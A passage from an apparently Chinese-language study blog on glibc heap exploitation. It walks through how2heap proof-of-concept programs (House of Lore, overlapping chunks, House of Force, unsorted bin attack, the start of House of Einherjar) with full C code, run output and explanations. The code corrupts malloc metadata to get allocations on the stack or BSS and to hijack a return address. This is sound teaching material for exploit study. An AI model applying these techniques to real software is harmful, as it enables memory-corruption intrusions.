errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

将victim chunk和两个fake chunk构造成双向链表,然后再smallbin分配时候,便申请了到了fake chunk。技术实现效果与fastbin_dup_into_stack类似。

这里需要绕过两次检查,一次是fd指向small bin中的chunk,还有一次是fake chunk不能是small bin的最后一个chunk,这个利用手法笔者这里就不详细讲解了。

overlapping_chunks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){


intptr_t *p1,*p2,*p3,*p4;

fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);

fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

fprintf(stderr, "\nNow let's free the chunk p2\n");
free(p2);
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n");

int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");

fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

fprintf(stderr, "Let's run through an example. Right now, we have:\n");
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

首先这里创建了三个堆块(p1, p2, p3),并将这三个堆块里面填满数据。接着释放中间的p2堆块,因为创建的大小为0x101,所以释放的时候会直接进入unsortedbin。然后将p2的size改为p2 + p3大小,现在堆块内只有两个chunk了,因为p3被包进了p2里面

接下来就是创建一个size为p2 + p3的p4堆块,现在这个堆块里面还有一个存活着的p3。将p4填满数据,这个时候p3也会被覆盖

现在填充p3可以看到p3这里还可以继续使用。这就达到了一个堆块重叠的效果p4可以改p3,p3也可以改p4。俗称overlapping。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
This is a simple chunks overlapping problem

Let's start to allocate 3 chunks on the heap
The 3 chunks have been allocated here:
p1=0x55555555b010
p2=0x55555555b110
p3=0x55555555b210

Now let's free the chunk p2
The chunk p2 is now in the unsorted bin ready to serve possible
new malloc() of its size
Now let's simulate an overflow that can overwrite the size of the
chunk freed p2.
For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap.
To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk.
We are going to set the size of chunk p2 to to 385, which gives us
a region size of 376

Now let's allocate another chunk with a size equal to the data
size of the chunk p2 injected size
This malloc will be served from the previously freed chunk that
is parked in the unsorted bin which size has been modified by us

p4 has been allocated at 0x55555555b110 and ends at 0x55555555b288
p3 starts at 0x55555555b210 and ends at 0x55555555b288
p4 should overlap with p3, in this case p4 includes all p3.

Now everything copied inside chunk p4 can overwrites data on
chunk p3, and data written to chunk p3 can overwrite data
stored in the p4 chunk.

Let's run through an example. Right now, we have:
p4 = x��
p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333�

If we memset(p4, '4', 376), we have:
p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�
p3 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�

And if we then memset(p3, '3', 80), we have:
p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444�
p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444�

overlapping_chunks_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.

This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");

p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);

fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");

free(p4);

fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE

fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);

fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");

p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);

fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6,'F',1500);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

}

创建了5个堆块p1-p5,大小是0x3f1并将每个堆块都填满数据。释放p4再将p2的size改为p2 + p3(0x7e1)大小,现在p2和p3被一个堆给包

住了

然后再释放p2可以看到p2 p3 p4都被释放掉了并形成了一个大的freed堆块,此时p3还是一个used堆块。接着创建了0x7e1大小的堆块,将p2 + p3又重新拿出来了给了p6,将p6里面填充数据可以看到p3会被覆盖,从头到尾p3者是used堆块。可以看到形成了一个overlapping

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
This is a simple chunks overlapping problem
This is also referenced as Nonadjacent Free Chunk Consolidation Attack

Let's start to allocate 5 chunks on the heap:

chunk p1 from 0x55555555b010 to 0x55555555b3f8
chunk p2 from 0x55555555b400 to 0x55555555b7e8
chunk p3 from 0x55555555b7f0 to 0x55555555bbd8
chunk p4 from 0x55555555bbe0 to 0x55555555bfc8
chunk p5 from 0x55555555bfd0 to 0x55555555c3b8

Let's free the chunk p4.
In this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4

Let's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2
with the size of chunk_p2 + size of chunk_p3

Now during the free() operation on p2, the allocator is fooled to think that
the nextchunk is p4 ( since p2 + size_p2 now point to p4 )

This operation will basically create a big free chunk that wrongly includes p3

Now let's allocate a new chunk with a size that can be satisfied by the previously freed chunk

Our malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and
we can overwrite data in p3 by writing on chunk p6

chunk p6 from 0x55555555b400 to 0x55555555bbd8
chunk p3 from 0x55555555b7f0 to 0x55555555bbd8

Data inside chunk p3:

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�

Let's write something inside p6

Data inside chunk p3:

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�

house_of_force(top_chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99


/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");

fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);



fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");

/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);

assert(ctr_chunk == bss_var);


// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

house of force这个攻击手法是借助于top_chunk来实现的,程序可以溢出到top_chunk+申请任意大小的堆块,就可以使用这个方法来进行漏洞利用。

这个程序首先创建了一个堆块,并将top chunk的size改成-1。

接着将top chunk向前一直推到bss_var - 0x10。

接着分配堆块的时候就会分配到bss_var这里,就可以对bss_var进行修改。

可以看以bss_var已经被更改了。运行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Welcome to the House of Force

The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.

In the end, we will use this to overwrite a variable at 0x555555558060.
Its current value is: This is a string that we want to overwrite.

Let's allocate the first chunk, taking space from the wilderness.
The chunk of 256 bytes has been allocated at 0x55555555b000.

Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
Real size (aligned and all that jazz) of our allocated chunk is 280.

Now let's emulate a vulnerability that can overwrite the header of the Top Chunk

The top chunk starts at 0x55555555b110

Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
Old size of top chunk 0x20ef1
New size of top chunk 0xffffffffffffffff

The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
Next, we will allocate a chunk that will get us right up against the desired region (with an integer
overflow) and will then be able to allocate a chunk right over the desired region.

The value we want to write to at 0x555555558060, and the top chunk is at 0x55555555b110, so accounting for the header size,
we will malloc 0xffffffffffffcf30 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x55555555b110

Now, the next chunk we overwrite will point at our target buffer.
malloc(100) => 0x555555558060!
Now, we can finally overwrite that value:
... old string: This is a string that we want to overwrite.
... doing strcpy overwrite with "YEAH!!!"...
... new string: YEAH!!!

unsorted_bin_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

首先这里创建了一个栈上的数据,并且申请了400大小的堆块和500大小的堆块,500大小的堆块是为了防止400与top_chunk合并。释放400大小的堆块,因为不在fastbin范围内所以会直接进入unsortedbin。

改unsortedbin的bk为stack_addr - 2,下面红色的是stack_addr里面的值。

再次创建400大小的堆块,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。此时的stack_addr时里面的值就是unsortedbin的值了。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7fffffffdd30: 0

Now, we allocate first normal chunk on the heap at: 0x55555555b010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7ffff7dd1b78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7fffffffdd20

Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten:
0x7fffffffdd30: 0x7ffff7dd1b78

house_of_einherjar(off-by-null)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

